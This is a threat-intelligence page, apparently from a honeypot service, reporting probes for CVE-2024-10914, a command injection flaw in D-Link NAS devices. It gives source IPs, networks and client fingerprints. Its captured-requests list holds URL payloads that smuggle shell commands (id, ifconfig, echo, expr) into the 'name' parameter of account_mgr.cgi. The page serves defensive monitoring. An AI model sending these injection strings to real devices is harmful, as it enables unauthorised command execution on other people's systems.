HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agentsUDP traffic
Integrations
OverviewMCPFeedsAPI / EnrichSplunkMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog

CVE-2024-10914: D-Link NAS - Command Injection via Name Parameter

HoneyLabs honeypots recorded 14 probes matching CVE-2024-10914 from 2 distinct source IP addresses in the last 7 days. Severity is rated critical.

Request paths that identify it

  • /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{{*}};%27

Addresses probing it

Source IPProbesNetworkCountry
93.123.109.21412Techoff Srv LimitedBulgaria
94.154.43.2222Storm Industries LLCThe Netherlands

Networks it comes from

ASNOrganisationProbesSource IPs
AS48090Techoff Srv Limited121
AS219502Storm Industries LLC21

Where it comes from

CountryProbes
Bulgaria12
The Netherlands2

Captured requests

  • /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;echo%20%24((531720%2B538894));%27
  • /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;expr%20735831%20%2B%20415873;%27
  • /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;ifconfig;%27
  • /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;id;%27

HTTP client fingerprints

  • b10cun030_00040011_c91eaf54
  • b11cun040_00040013_608dab68

CVE report

CVE report

Open a specific CVE from the CVE tracker.